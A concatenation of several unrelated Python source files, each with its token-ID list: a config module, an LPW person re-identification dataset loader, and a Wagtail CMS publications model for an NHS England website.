29892, 4181, 29922, 29900, 29889, 29900, 29900, 29900, 29896, 29897, 13, 13, 1454, 19592, 29892, 29879, 1113, 297, 372, 29889, 466, 666, 29898, 567, 29889, 771, 1372, 29892, 771, 1372, 29885, 1446, 1125, 19592, 29889, 29879, 1113, 29918, 2922, 353, 885, 29874, 13, 1454, 5101, 29892, 29879, 1113, 29918, 4117, 297, 372, 29889, 466, 666, 29898, 567, 29889, 29886, 7121, 29892, 18784, 29885, 1446, 1125, 5101, 29889, 29879, 1113, 29918, 2922, 353, 885, 29874, 29918, 4117, 13, 9302, 29889, 7620, 877, 2577, 1259, 4763, 287, 7187, 2477, 284, 2395, 29889, 29876, 2272, 742, 567, 29897, 13, 13, 2158, 29898, 29879, 1113, 29918, 13628, 29906, 29897, 13, 2 ]
plato_pylib/parseOther/__init__.py
RFogarty1/plato_pylib
0
63814
from . import parse_castep_files
[ 1, 515, 869, 1053, 6088, 29918, 29883, 4350, 29886, 29918, 5325, 13, 2 ]
custom_config.py
prise-3d/Thesis-NoiseDetection-rfe-attributes
0
25717
<gh_stars>0 from modules.config.attributes_config import * # store all variables from global config context_vars = vars() # folders logs_folder = 'logs' backup_folder = 'backups' ## min_max_custom_folder = 'custom_norm' ## correlation_indices_folder = 'corr_indices' # variables features_choices_labels = ['filters_statistics', 'svd', 'filters_statistics_sobel', 'svd_sobel'] models_names_list = ["rfe_svm_model"] ## models_names_list = ["svm_model","ensemble_model","ensemble_model_v2","deep_keras"] ## normalization_choices = ['svd', 'svdn', 'svdne'] # parameters
[ 1, 529, 12443, 29918, 303, 1503, 29958, 29900, 13, 3166, 10585, 29889, 2917, 29889, 15697, 29918, 2917, 1053, 334, 13, 13, 29937, 3787, 599, 3651, 515, 5534, 2295, 13, 4703, 29918, 16908, 353, 24987, 580, 13, 13, 29937, 16495, 13, 20756, 29918, 12083, 462, 632, 353, 525, 20756, 29915, 13, 1627, 786, 29918, 12083, 462, 965, 353, 525, 1627, 14340, 29915, 13, 13, 2277, 1375, 29918, 3317, 29918, 6341, 29918, 12083, 965, 353, 525, 6341, 29918, 12324, 29915, 13, 2277, 19869, 29918, 513, 1575, 29918, 12083, 418, 353, 525, 29725, 29918, 513, 1575, 29915, 13, 13, 29937, 3651, 13, 22100, 29918, 1859, 1575, 29918, 21134, 462, 353, 6024, 26705, 29918, 6112, 6765, 742, 525, 4501, 29881, 742, 525, 26705, 29918, 6112, 6765, 29918, 578, 6596, 742, 525, 4501, 29881, 29918, 578, 6596, 2033, 13, 13, 9794, 29918, 7039, 29918, 1761, 462, 539, 353, 6796, 29878, 1725, 29918, 4501, 29885, 29918, 4299, 3108, 13, 13, 2277, 4733, 29918, 7039, 29918, 1761, 1669, 353, 6796, 4501, 29885, 29918, 4299, 3284, 24031, 29918, 4299, 3284, 24031, 29918, 4299, 29918, 29894, 29906, 3284, 24535, 29918, 3946, 294, 3108, 13, 2277, 4226, 2133, 29918, 1859, 1575, 965, 353, 6024, 4501, 29881, 742, 525, 4501, 5200, 742, 525, 4501, 29881, 484, 2033, 13, 13, 29937, 4128, 2 ]
lib/dataset/lpw.py
Xiangyu-CAS/Yet-Another-reid-baseline
33
94345
# encoding: utf-8 import glob import re import os import os.path as osp from .base import BaseImageDataset class LPW(BaseImageDataset): """ """ dataset_dir = 'LPW/' def __init__(self, root='', verbose=True, **kwargs): super(LPW, self).__init__() self.dataset_dir = osp.join(root, self.dataset_dir) self.train_dir = self.dataset_dir self._check_before_run() train = self._process_dir(self.train_dir, relabel=True) if verbose: print("=> LPW loaded") #self.print_dataset_statistics(train, query, gallery) self.train = train self.query = [] self.gallery = [] self.num_train_pids, self.num_train_imgs, self.num_train_cams = self.get_imagedata_info(self.train) self.num_query_pids, self.num_query_imgs, self.num_query_cams = self.get_imagedata_info(self.query) self.num_gallery_pids, self.num_gallery_imgs, self.num_gallery_cams = self.get_imagedata_info(self.gallery) def _check_before_run(self): """Check if all files are available before going deeper""" if not osp.exists(self.dataset_dir): raise RuntimeError("'{}' is not available".format(self.dataset_dir)) if not osp.exists(self.train_dir): raise RuntimeError("'{}' is not available".format(self.train_dir)) def _find_files(self, dir_path, img_paths, suffix='.jpg'): files = os.listdir(dir_path) for f in files: path = osp.join(dir_path, f) if os.path.isdir(path): self._find_files(path, img_paths, suffix) elif suffix in f: img_paths.append(path) # element: (img_path, pid, camid) def _process_dir(self, dir_path, relabel=True): img_paths = [] self._find_files(dir_path, img_paths, suffix='.jpg') label_dict = {} bias = 10000 for img_path in img_paths: splits = img_path.split('/') scene, camid, pid, _ = splits[-4:] scene, camid, pid = int(scene[-1]), int(camid[-1]), int(pid) # 'scen1', 'view1', pid += scene * bias if pid in label_dict: label_dict[pid].append([camid, img_path]) else: label_dict[pid] = [[camid, img_path]] pid2label = {pid: label for label, pid in enumerate(label_dict.keys())} dataset = [] for pid in label_dict: for camid, img_path in label_dict[pid]: if relabel: new_pid = pid2label[pid] dataset.append((img_path, new_pid, camid)) return dataset if __name__ == '__main__': dataset = LPW(root='/media/xiangyuzhu/SSD_sda2/Downloads/pep_256x128')
[ 1, 396, 8025, 29901, 23616, 29899, 29947, 13, 13, 5215, 13149, 13, 5215, 337, 13, 5215, 2897, 13, 5215, 2897, 29889, 2084, 408, 288, 1028, 13, 13, 3166, 869, 3188, 1053, 7399, 2940, 16390, 24541, 13, 13, 13, 1990, 23671, 29956, 29898, 5160, 2940, 16390, 24541, 1125, 13, 1678, 9995, 13, 1678, 9995, 13, 1678, 8783, 29918, 3972, 353, 525, 13208, 29956, 22208, 13, 1678, 822, 4770, 2344, 12035, 1311, 29892, 3876, 2433, 742, 26952, 29922, 5574, 29892, 3579, 19290, 1125, 13, 4706, 2428, 29898, 13208, 29956, 29892, 1583, 467, 1649, 2344, 1649, 580, 13, 4706, 1583, 29889, 24713, 29918, 3972, 353, 288, 1028, 29889, 7122, 29898, 4632, 29892, 1583, 29889, 24713, 29918, 3972, 29897, 13, 4706, 1583, 29889, 14968, 29918, 3972, 353, 1583, 29889, 24713, 29918, 3972, 13, 13, 4706, 1583, 3032, 3198, 29918, 11083, 29918, 3389, 580, 13, 13, 4706, 7945, 353, 1583, 3032, 5014, 29918, 3972, 29898, 1311, 29889, 14968, 29918, 3972, 29892, 1104, 1107, 29922, 5574, 29897, 13, 13, 4706, 565, 26952, 29901, 13, 9651, 1596, 703, 4261, 23671, 29956, 7500, 1159, 13, 9651, 396, 1311, 29889, 2158, 29918, 24713, 29918, 6112, 6765, 29898, 14968, 29892, 2346, 29892, 23363, 29897, 13, 13, 4706, 1583, 29889, 14968, 353, 7945, 13, 4706, 1583, 29889, 1972, 353, 5159, 13, 4706, 1583, 29889, 29887, 23365, 353, 5159, 13, 13, 4706, 1583, 29889, 1949, 29918, 14968, 29918, 29886, 4841, 29892, 1583, 29889, 1949, 29918, 14968, 29918, 2492, 29879, 29892, 1583, 29889, 1949, 29918, 14968, 29918, 29883, 2232, 353, 1583, 29889, 657, 29918, 326, 4063, 532, 29918, 3888, 29898, 1311, 29889, 14968, 29897, 13, 4706, 1583, 29889, 1949, 29918, 1972, 29918, 29886, 4841, 29892, 1583, 29889, 1949, 29918, 1972, 29918, 2492, 29879, 29892, 1583, 29889, 1949, 29918, 1972, 29918, 29883, 2232, 353, 1583, 29889, 657, 29918, 326, 4063, 532, 29918, 3888, 29898, 1311, 29889, 1972, 29897, 13, 4706, 1583, 29889, 1949, 29918, 29887, 23365, 29918, 29886, 4841, 29892, 1583, 29889, 1949, 29918, 29887, 23365, 29918, 2492, 29879, 29892, 1583, 29889, 1949, 29918, 29887, 23365, 29918, 29883, 2232, 353, 1583, 29889, 657, 29918, 326, 4063, 532, 29918, 3888, 29898, 1311, 29889, 29887, 23365, 29897, 13, 13, 1678, 822, 903, 3198, 29918, 11083, 29918, 3389, 29898, 1311, 1125, 13, 4706, 9995, 5596, 565, 599, 2066, 526, 3625, 1434, 2675, 25871, 15945, 29908, 13, 4706, 565, 451, 288, 1028, 29889, 9933, 29898, 1311, 29889, 24713, 29918, 3972, 1125, 13, 9651, 12020, 24875, 2392, 703, 29915, 8875, 29915, 338, 451, 3625, 1642, 4830, 29898, 1311, 29889, 24713, 29918, 3972, 876, 13, 4706, 565, 451, 288, 1028, 29889, 9933, 29898, 1311, 29889, 14968, 29918, 3972, 1125, 13, 9651, 12020, 24875, 2392, 703, 29915, 8875, 29915, 338, 451, 3625, 1642, 4830, 29898, 1311, 29889, 14968, 29918, 3972, 876, 13, 13, 1678, 822, 903, 2886, 29918, 5325, 29898, 1311, 29892, 4516, 29918, 2084, 29892, 10153, 29918, 24772, 29892, 25557, 2433, 29889, 6173, 29374, 13, 4706, 2066, 353, 2897, 29889, 1761, 3972, 29898, 3972, 29918, 2084, 29897, 13, 4706, 363, 285, 297, 2066, 29901, 13, 9651, 2224, 353, 288, 1028, 29889, 7122, 29898, 3972, 29918, 2084, 29892, 285, 29897, 13, 9651, 565, 2897, 29889, 2084, 29889, 275, 3972, 29898, 2084, 1125, 13, 18884, 1583, 3032, 2886, 29918, 5325, 29898, 2084, 29892, 10153, 29918, 24772, 29892, 25557, 29897, 13, 9651, 25342, 25557, 297, 285, 29901, 13, 18884, 10153, 29918, 24772, 29889, 4397, 29898, 2084, 29897, 13, 13, 13, 1678, 396, 1543, 29901, 313, 2492, 29918, 2084, 29892, 23107, 29892, 3949, 333, 29897, 13, 1678, 822, 903, 5014, 29918, 3972, 29898, 1311, 29892, 4516, 29918, 2084, 29892, 1104, 1107, 29922, 5574, 1125, 13, 4706, 10153, 29918, 24772, 353, 5159, 13, 4706, 1583, 3032, 2886, 29918, 5325, 29898, 3972, 29918, 2084, 29892, 10153, 29918, 24772, 29892, 25557, 2433, 29889, 6173, 1495, 13, 4706, 3858, 29918, 8977, 353, 6571, 13, 4706, 24003, 353, 29871, 29896, 29900, 29900, 29900, 29900, 13, 4706, 363, 10153, 29918, 2084, 297, 10153, 29918, 24772, 29901, 13, 9651, 8536, 1169, 353, 10153, 29918, 2084, 29889, 5451, 11219, 1495, 13, 9651, 9088, 29892, 3949, 333, 29892, 23107, 29892, 903, 353, 8536, 1169, 14352, 29946, 17531, 13, 9651, 9088, 29892, 3949, 333, 29892, 23107, 353, 938, 29898, 24645, 14352, 29896, 11724, 938, 29898, 11108, 333, 14352, 29896, 11724, 938, 29898, 5935, 29897, 29871, 396, 525, 1557, 264, 29896, 742, 525, 1493, 29896, 742, 13, 9651, 23107, 4619, 9088, 334, 24003, 13, 9651, 565, 23107, 297, 3858, 29918, 8977, 29901, 13, 18884, 3858, 29918, 8977, 29961, 5935, 1822, 4397, 4197, 11108, 333, 29892, 10153, 29918, 2084, 2314, 13, 9651, 1683, 29901, 13, 18884, 3858, 29918, 8977, 29961, 5935, 29962, 353, 5519, 11108, 333, 29892, 10153, 29918, 2084, 5262, 13, 13, 4706, 23107, 29906, 1643, 353, 426, 5935, 29901, 3858, 363, 3858, 29892, 23107, 297, 26985, 29898, 1643, 29918, 8977, 29889, 8149, 580, 2915, 13, 4706, 8783, 353, 5159, 13, 4706, 363, 23107, 297, 3858, 29918, 8977, 29901, 13, 9651, 363, 3949, 333, 29892, 10153, 29918, 2084, 297, 3858, 29918, 8977, 29961, 5935, 5387, 13, 18884, 565, 1104, 1107, 29901, 716, 29918, 5935, 353, 23107, 29906, 1643, 29961, 5935, 29962, 13, 18884, 8783, 29889, 4397, 3552, 2492, 29918, 2084, 29892, 716, 29918, 5935, 29892, 3949, 333, 876, 13, 4706, 736, 8783, 13, 13, 13, 361, 4770, 978, 1649, 1275, 525, 1649, 3396, 1649, 2396, 13, 1678, 8783, 353, 23671, 29956, 29898, 4632, 2433, 29914, 9799, 29914, 5389, 574, 29891, 3365, 6905, 29914, 1799, 29928, 29918, 29879, 1388, 29906, 29914, 6767, 18132, 29914, 412, 29886, 29918, 29906, 29945, 29953, 29916, 29896, 29906, 29947, 1495, 13, 2 ]
cms/publications/models.py
dragon-dxw/nhs-ei.website
0
50173
<reponame>dragon-dxw/nhs-ei.website from urllib.parse import urlparse from cms.categories.models import Category, PublicationType, CategoryPage from cms.publications.blocks import PublicationsBlocks from django.core.paginator import EmptyPage, PageNotAnInteger, Paginator from django.db import models from django.db.models.fields.related import ForeignKey from modelcluster.fields import ParentalKey from wagtail.admin.edit_handlers import ( FieldPanel, InlinePanel, MultiFieldPanel, StreamFieldPanel, ) from wagtail.core.fields import RichTextField, StreamField from wagtail.core.models import Page class PublicationIndexPage(Page): # title already in the Page class # slug already in the Page class subpage_types = ["publications.Publication"] body = RichTextField(blank=True) content_panels = Page.content_panels + [ FieldPanel("body"), ] class Meta: verbose_name = "Publications Index Page" verbose_name_plural = "Publications Index Pages" def get_latest_publications(num): return Publication.objects.all().order_by("-latest_revision_created_at")[:num] def get_context(self, request, *args, **kwargs): """ Publications can have one or more categories (topics) or publications (publication_type). At the moment, you can only choose one or the other. I think that's best to avoid lots of empty result sets but we will need a decision made on that. TODO. """ context = super().get_context(request, *args, **kwargs) publication_ordering = request.GET.get("order") or "-latest_revision_created_at" if request.GET.get("publication_type"): context["publication_type_id"] = int(request.GET.get("publication_type")) publications = ( Publication.objects.live() .order_by(publication_ordering) .filter( publication_publication_type_relationship__publication_type=request.GET.get( "publication_type" ) ) ) # NOTE: filtering by category was commented out but I want see if it works -- Dragon. elif request.GET.get("category"): context["category_id"] = int(request.GET.get("category")) publications = ( Publication.objects.live() .order_by(publication_ordering) .filter( categorypage_category_relationship__category=request.GET.get( "category" ) ) ) # NOTE: end block for previous note -- Dragon. else: publications = Publication.objects.live().order_by(publication_ordering) paginator = Paginator(publications, 16) try: items = paginator.page(request.GET.get("page")) except PageNotAnInteger: items = paginator.page(1) except EmptyPage: items = paginator.page(paginator.num_pages) context["publications"] = items context["publication_types"] = PublicationType.objects.all() # categories isn't exposed on the webpage at all, and contains a lot of empty categories. context["categories"] = Category.objects.all() context["order"] = publication_ordering return context def get_wp_api_link(self): # TODO: Pretty sure this is a debug feature that should be removed. return f"https://www.england.nhs.uk/wp-json/wp/v2/documents/{self.wp_id}" def get_wp_live_link(self): # TODO: Pretty sure this is a debug feature that should be removed. self_url_path = self.url live_url_path = urlparse(self.wp_link).path live_url = "https://www.england.nhs.uk{}".format(live_url_path) print(self_url_path) print(live_url_path) return live_url class PublicationPublicationTypeRelationship(models.Model): publication = ParentalKey( "publications.Publication", related_name="publication_publication_type_relationship", ) publication_type = ForeignKey( "categories.PublicationType", related_name="+", on_delete=models.CASCADE, ) class Publication(CategoryPage): parent_page_types = ["publications.PublicationIndexPage"] """ title already in the Page class slug already in the Page class going to need to parse the html here to extract the text """ # going to need to parse the html here to extract the text body = RichTextField(blank=True) documents = StreamField(PublicationsBlocks, blank=True) """ coming across form wordpress need to keep for now""" wp_id = models.PositiveIntegerField(null=True, blank=True) source = models.CharField(null=True, max_length=100, blank=True) wp_slug = models.TextField(null=True, blank=True) wp_link = models.TextField(null=True, blank=True) component_fields = models.TextField(null=True, blank=True) """i think we can do away with this field and use the text from body to create the exceprt""" # excerpt = RichTextField(blank=True) author = models.CharField(max_length=255, blank=True) content_panels = Page.content_panels + [ InlinePanel( "publication_publication_type_relationship", label="Publication Types" ), InlinePanel( "categorypage_category_relationship", label="Publication Categories" ), FieldPanel("body"), StreamFieldPanel("documents"), MultiFieldPanel( [ FieldPanel("wp_id"), FieldPanel("author"), FieldPanel("source"), FieldPanel("wp_slug"), FieldPanel("wp_link"), FieldPanel("component_fields"), ], heading="wordpress data we dont need in the end", classname="collapsed collapsible", ), ] def get_wp_api_link(self): wp_source = self.source.replace("pages-", "") wp_id = self.wp_id if wp_source != "pages": api_url = "https://www.england.nhs.uk/{}/wp-json/wp/v2/documents/{}".format( wp_source, wp_id ) else: api_url = "https://www.england.nhs.uk/wp-json/wp/v2/documents/{}".format( wp_id ) return api_url def get_wp_live_link(self): self_url_path = self.url live_url_path = urlparse(self.wp_link).path live_url = "https://www.england.nhs.uk{}".format(live_url_path) print(self_url_path) print(live_url_path) return live_url
[ 1, 529, 276, 1112, 420, 29958, 20515, 265, 29899, 8235, 29893, 29914, 29876, 9499, 29899, 10096, 29889, 22942, 13, 3166, 3142, 1982, 29889, 5510, 1053, 3142, 5510, 13, 13, 3166, 274, 1516, 29889, 20683, 29889, 9794, 1053, 17943, 29892, 5236, 362, 1542, 29892, 17943, 5074, 13, 3166, 274, 1516, 29889, 3597, 800, 29889, 1271, 29879, 1053, 22865, 7445, 29879, 13, 3166, 9557, 29889, 3221, 29889, 13573, 262, 1061, 1053, 2812, 2349, 5074, 29892, 9305, 3664, 2744, 7798, 29892, 349, 26584, 1061, 13, 3166, 9557, 29889, 2585, 1053, 4733, 13, 3166, 9557, 29889, 2585, 29889, 9794, 29889, 9621, 29889, 12817, 1053, 19358, 2558, 13, 3166, 1904, 19594, 29889, 9621, 1053, 1459, 13703, 2558, 13, 3166, 281, 351, 18237, 29889, 6406, 29889, 5628, 29918, 3179, 9306, 1053, 313, 13, 1678, 8989, 7490, 29892, 13, 1678, 512, 1220, 7490, 29892, 13, 1678, 14974, 3073, 7490, 29892, 13, 1678, 13763, 3073, 7490, 29892, 13, 29897, 13, 3166, 281, 351, 18237, 29889, 3221, 29889, 9621, 1053, 4385, 15778, 29892, 13763, 3073, 13, 3166, 281, 351, 18237, 29889, 3221, 29889, 9794, 1053, 9305, 13, 13, 13, 1990, 5236, 362, 3220, 5074, 29898, 5074, 1125, 13, 1678, 396, 3611, 2307, 297, 278, 9305, 770, 13, 1678, 396, 2243, 688, 2307, 297, 278, 9305, 770, 13, 1678, 1014, 3488, 29918, 8768, 353, 6796, 3597, 800, 29889, 19858, 362, 3108, 13, 1678, 3573, 353, 4385, 15778, 29898, 19465, 29922, 5574, 29897, 13, 13, 1678, 2793, 29918, 8357, 1379, 353, 9305, 29889, 3051, 29918, 8357, 1379, 718, 518, 13, 4706, 8989, 7490, 703, 2587, 4968, 13, 1678, 4514, 13, 13, 1678, 770, 20553, 29901, 13, 4706, 26952, 29918, 978, 353, 376, 19858, 800, 11374, 9305, 29908, 13, 4706, 26952, 29918, 978, 29918, 572, 3631, 353, 376, 19858, 800, 11374, 349, 1179, 29908, 13, 13, 1678, 822, 679, 29918, 12333, 29918, 3597, 800, 29898, 1949, 1125, 13, 4706, 736, 5236, 362, 29889, 12650, 29889, 497, 2141, 2098, 29918, 1609, 703, 29899, 12333, 29918, 276, 4924, 29918, 11600, 29918, 271, 1159, 7503, 1949, 29962, 13, 13, 1678, 822, 679, 29918, 4703, 29898, 1311, 29892, 2009, 29892, 334, 5085, 29892, 3579, 19290, 1125, 13, 4706, 9995, 13, 4706, 22865, 508, 505, 697, 470, 901, 13997, 313, 3332, 1199, 29897, 470, 25964, 313, 3597, 362, 29918, 1853, 467, 13, 4706, 2180, 278, 3256, 29892, 366, 508, 871, 6755, 697, 470, 278, 916, 29889, 306, 1348, 393, 29915, 29879, 1900, 304, 4772, 14568, 310, 4069, 13, 4706, 1121, 6166, 541, 591, 674, 817, 263, 10608, 1754, 373, 393, 29889, 14402, 29889, 13, 4706, 9995, 13, 4706, 3030, 353, 2428, 2141, 657, 29918, 4703, 29898, 3827, 29892, 334, 5085, 29892, 3579, 19290, 29897, 13, 4706, 17745, 29918, 2098, 292, 353, 2009, 29889, 7194, 29889, 657, 703, 2098, 1159, 470, 11663, 12333, 29918, 276, 4924, 29918, 11600, 29918, 271, 29908, 13, 13, 4706, 565, 2009, 29889, 7194, 29889, 657, 703, 3597, 362, 29918, 1853, 29908, 1125, 13, 9651, 3030, 3366, 3597, 362, 29918, 1853, 29918, 333, 3108, 353, 938, 29898, 3827, 29889, 7194, 29889, 657, 703, 3597, 362, 29918, 1853, 5783, 13, 9651, 25964, 353, 313, 13, 18884, 5236, 362, 29889, 12650, 29889, 9258, 580, 13, 18884, 869, 2098, 29918, 1609, 29898, 3597, 362, 29918, 2098, 292, 29897, 13, 18884, 869, 4572, 29898, 13, 462, 1678, 17745, 29918, 3597, 362, 29918, 1853, 29918, 2674, 800, 4034, 1649, 3597, 362, 29918, 1853, 29922, 3827, 29889, 7194, 29889, 657, 29898, 13, 462, 4706, 376, 3597, 362, 29918, 1853, 29908, 13, 462, 1678, 1723, 13, 18884, 1723, 13, 9651, 1723, 13, 4706, 396, 6058, 29923, 29901, 21166, 491, 7663, 471, 19952, 714, 541, 306, 864, 1074, 565, 372, 1736, 1192, 24339, 29889, 13, 4706, 25342, 2009, 29889, 7194, 29889, 657, 703, 7320, 29908, 1125, 13, 9651, 3030, 3366, 7320, 29918, 333, 3108, 353, 938, 29898, 3827, 29889, 7194, 29889, 657, 703, 7320, 5783, 13, 9651, 25964, 353, 313, 13, 18884, 5236, 362, 29889, 12650, 29889, 9258, 580, 13, 18884, 869, 2098, 29918, 1609, 29898, 3597, 362, 29918, 2098, 292, 29897, 13, 18884, 869, 4572, 29898, 13, 462, 1678, 7663, 3488, 29918, 7320, 29918, 2674, 800, 4034, 1649, 7320, 29922, 3827, 29889, 7194, 29889, 657, 29898, 13, 462, 4706, 376, 7320, 29908, 13, 462, 1678, 1723, 13, 18884, 1723, 13, 9651, 1723, 13, 4706, 396, 6058, 29923, 29901, 1095, 2908, 363, 3517, 4443, 1192, 24339, 29889, 13, 4706, 1683, 29901, 13, 9651, 25964, 353, 5236, 362, 29889, 12650, 29889, 9258, 2141, 2098, 29918, 1609, 29898, 3597, 362, 29918, 2098, 292, 29897, 13, 13, 4706, 10203, 262, 1061, 353, 349, 26584, 1061, 29898, 3597, 800, 29892, 29871, 29896, 29953, 29897, 13, 13, 4706, 1018, 29901, 13, 9651, 4452, 353, 10203, 262, 1061, 29889, 3488, 29898, 3827, 29889, 7194, 29889, 657, 703, 3488, 5783, 13, 4706, 5174, 9305, 3664, 2744, 7798, 29901, 13, 9651, 4452, 353, 10203, 262, 1061, 29889, 3488, 29898, 29896, 29897, 13, 4706, 5174, 2812, 2349, 5074, 29901, 13, 9651, 4452, 353, 10203, 262, 1061, 29889, 3488, 29898, 13573, 262, 1061, 29889, 1949, 29918, 12292, 29897, 13, 13, 4706, 3030, 3366, 3597, 800, 3108, 353, 4452, 13, 4706, 3030, 3366, 3597, 362, 29918, 8768, 3108, 353, 5236, 362, 1542, 29889, 12650, 29889, 497, 580, 13, 4706, 396, 13997, 3508, 29915, 29873, 19884, 373, 278, 24499, 472, 599, 29892, 322, 3743, 263, 3287, 310, 4069, 13997, 29889, 13, 4706, 3030, 3366, 20683, 3108, 353, 17943, 29889, 12650, 29889, 497, 580, 13, 4706, 3030, 3366, 2098, 3108, 353, 17745, 29918, 2098, 292, 13, 13, 4706, 736, 3030, 13, 13, 1678, 822, 679, 29918, 11912, 29918, 2754, 29918, 2324, 29898, 1311, 1125, 13, 4706, 396, 14402, 29901, 4721, 4349, 1854, 445, 338, 263, 4744, 4682, 393, 881, 367, 6206, 29889, 13, 4706, 736, 285, 29908, 991, 597, 1636, 29889, 996, 1049, 29889, 29876, 9499, 29889, 2679, 29914, 11912, 29899, 3126, 29914, 11912, 29914, 29894, 29906, 29914, 3225, 29879, 19248, 1311, 29889, 11912, 29918, 333, 5038, 13, 13, 1678, 822, 679, 29918, 11912, 29918, 9258, 29918, 2324, 29898, 1311, 1125, 13, 4706, 396, 14402, 29901, 4721, 4349, 1854, 445, 338, 263, 4744, 4682, 393, 881, 367, 6206, 29889, 13, 4706, 1583, 29918, 2271, 29918, 2084, 353, 1583, 29889, 2271, 13, 4706, 5735, 29918, 2271, 29918, 2084, 353, 3142, 5510, 29898, 1311, 29889, 11912, 29918, 2324, 467, 2084, 13, 4706, 5735, 29918, 2271, 353, 376, 991, 597, 1636, 29889, 996, 1049, 29889, 29876, 9499, 29889, 2679, 8875, 1642, 4830, 29898, 9258, 29918, 2271, 29918, 2084, 29897, 13, 4706, 1596, 29898, 1311, 29918, 2271, 29918, 2084, 29897, 13, 4706, 1596, 29898, 9258, 29918, 2271, 29918, 2084, 29897, 13, 4706, 736, 5735, 29918, 2271, 13, 13, 13, 1990, 5236, 362, 19858, 362, 1542, 9662, 800, 4034, 29898, 9794, 29889, 3195, 1125, 13, 1678, 17745, 353, 1459, 13703, 2558, 29898, 13, 4706, 376, 3597, 800, 29889, 19858, 362, 613, 13, 4706, 4475, 29918, 978, 543, 3597, 362, 29918, 3597, 362, 29918, 1853, 29918, 2674, 800, 4034, 613, 13, 1678, 1723, 13, 1678, 17745, 29918, 1853, 353, 19358, 2558, 29898, 13, 4706, 376, 20683, 29889, 19858, 362, 1542, 613, 13, 4706, 4475, 29918, 978, 543, 29974, 613, 13, 4706, 373, 29918, 8143, 29922, 9794, 29889, 29907, 3289, 5454, 2287, 29892, 13, 1678, 1723, 13, 13, 13, 1990, 5236, 362, 29898, 10900, 5074, 1125, 13, 13, 1678, 3847, 29918, 3488, 29918, 8768, 353, 6796, 3597, 800, 29889, 19858, 362, 3220, 5074, 3108, 13, 1678, 9995, 13, 1678, 3611, 2307, 297, 278, 9305, 770, 13, 1678, 2243, 688, 2307, 297, 278, 9305, 770, 13, 1678, 2675, 304, 817, 304, 6088, 278, 3472, 1244, 304, 6597, 278, 1426, 13, 1678, 9995, 13, 13, 1678, 396, 2675, 304, 817, 304, 6088, 278, 3472, 1244, 304, 6597, 278, 1426, 13, 1678, 3573, 353, 4385, 15778, 29898, 19465, 29922, 5574, 29897, 13, 1678, 10701, 353, 13763, 3073, 29898, 19858, 800, 7445, 29879, 29892, 9654, 29922, 5574, 29897, 13, 13, 1678, 9995, 6421, 4822, 883, 20734, 817, 304, 3013, 363, 1286, 15945, 29908, 13, 1678, 19247, 29918, 333, 353, 4733, 29889, 9135, 3321, 7798, 3073, 29898, 4304, 29922, 5574, 29892, 9654, 29922, 5574, 29897, 13, 1678, 2752, 353, 4733, 29889, 27890, 29898, 4304, 29922, 5574, 29892, 4236, 29918, 2848, 29922, 29896, 29900, 29900, 29892, 9654, 29922, 5574, 29897, 13, 13, 1678, 19247, 29918, 29517, 353, 4733, 29889, 15778, 29898, 4304, 29922, 5574, 29892, 9654, 29922, 5574, 29897, 13, 1678, 19247, 29918, 2324, 353, 4733, 29889, 15778, 29898, 4304, 29922, 5574, 29892, 9654, 29922, 5574, 29897, 13, 1678, 4163, 29918, 9621, 353, 4733, 29889, 15778, 29898, 4304, 29922, 5574, 29892, 9654, 29922, 5574, 29897, 13, 13, 1678, 9995, 29875, 1348, 591, 508, 437, 3448, 411, 445, 1746, 13, 1678, 322, 671, 278, 1426, 515, 3573, 304, 1653, 278, 429, 346, 558, 29873, 15945, 29908, 13, 1678, 396, 429, 2265, 415, 353, 4385, 15778, 29898, 19465, 29922, 5574, 29897, 13, 13, 1678, 4148, 353, 4733, 29889, 27890, 29898, 3317, 29918, 2848, 29922, 29906, 29945, 29945, 29892, 9654, 29922, 5574, 29897, 13, 13, 1678, 2793, 29918, 8357, 1379, 353, 9305, 29889, 3051, 29918, 8357, 1379, 718, 518, 13, 4706, 512, 1220, 7490, 29898, 13, 9651, 376, 3597, 362, 29918, 3597, 362, 29918, 1853, 29918, 2674, 800, 4034, 613, 3858, 543, 19858, 362, 28025, 29908, 13, 4706, 10353, 13, 4706, 512, 1220, 7490, 29898, 13, 9651, 376, 7320, 3488, 29918, 7320, 29918, 2674, 800, 4034, 613, 3858, 543, 19858, 362, 315, 14404, 29908, 13, 4706, 10353, 13, 4706, 8989, 7490, 703, 2587, 4968, 13, 4706, 13763, 3073, 7490, 703, 3225, 29879, 4968, 13, 4706, 14974, 3073, 7490, 29898, 13, 9651, 518, 13, 18884, 8989, 7490, 703, 11912, 29918, 333, 4968, 13, 18884, 8989, 7490, 703, 8921, 4968, 13, 18884, 8989, 7490, 703, 4993, 4968, 13, 18884, 8989, 7490, 703, 11912, 29918, 29517, 4968, 13, 18884, 8989, 7490, 703, 11912, 29918, 2324, 4968, 13, 18884, 8989, 7490, 703, 9700, 29918, 9621, 4968, 13, 9651, 21251, 13, 9651, 28435, 543, 23424, 848, 591, 4555, 817, 297, 278, 1095, 613, 13, 9651, 770, 978, 543, 1054, 23384, 784, 14128, 1821, 613, 13, 4706, 10353, 13, 1678, 4514, 13, 13, 1678, 822, 679, 29918, 11912, 29918, 2754, 29918, 2324, 29898, 1311, 1125, 13, 4706, 19247, 29918, 4993, 353, 1583, 29889, 4993, 29889, 6506, 703, 12292, 29899, 613, 20569, 13, 4706, 19247, 29918, 333, 353, 1583, 29889, 11912, 29918, 333, 13, 4706, 565, 19247, 29918, 4993, 2804, 376, 12292, 1115, 13, 9651, 7882, 29918, 2271, 353, 376, 991, 597, 1636, 29889, 996, 1049, 29889, 29876, 9499, 29889, 2679, 19248, 6822, 11912, 29899, 3126, 29914, 11912, 29914, 29894, 29906, 29914, 3225, 29879, 29914, 8875, 1642, 4830, 29898, 13, 18884, 19247, 29918, 4993, 29892, 19247, 29918, 333, 13, 9651, 1723, 13, 4706, 1683, 29901, 13, 9651, 7882, 29918, 2271, 353, 376, 991, 597, 1636, 29889, 996, 1049, 29889, 29876, 9499, 29889, 2679, 29914, 11912, 29899, 3126, 29914, 11912, 29914, 29894, 29906, 29914, 3225, 29879, 29914, 8875, 1642, 4830, 29898, 13, 18884, 19247, 29918, 333, 13, 9651, 1723, 13, 4706, 736, 7882, 29918, 2271, 13, 13, 1678, 822, 679, 29918, 11912, 29918, 9258, 29918, 2324, 29898, 1311, 1125, 13, 4706, 1583, 29918, 2271, 29918, 2084, 353, 1583, 29889, 2271, 13, 4706, 5735, 29918, 2271, 29918, 2084, 353, 3142, 5510, 29898, 1311, 29889, 11912, 29918, 2324, 467, 2084, 13, 4706, 5735, 29918, 2271, 353, 376, 991, 597, 1636, 29889, 996, 1049, 29889, 29876, 9499, 29889, 2679, 8875, 1642, 4830, 29898, 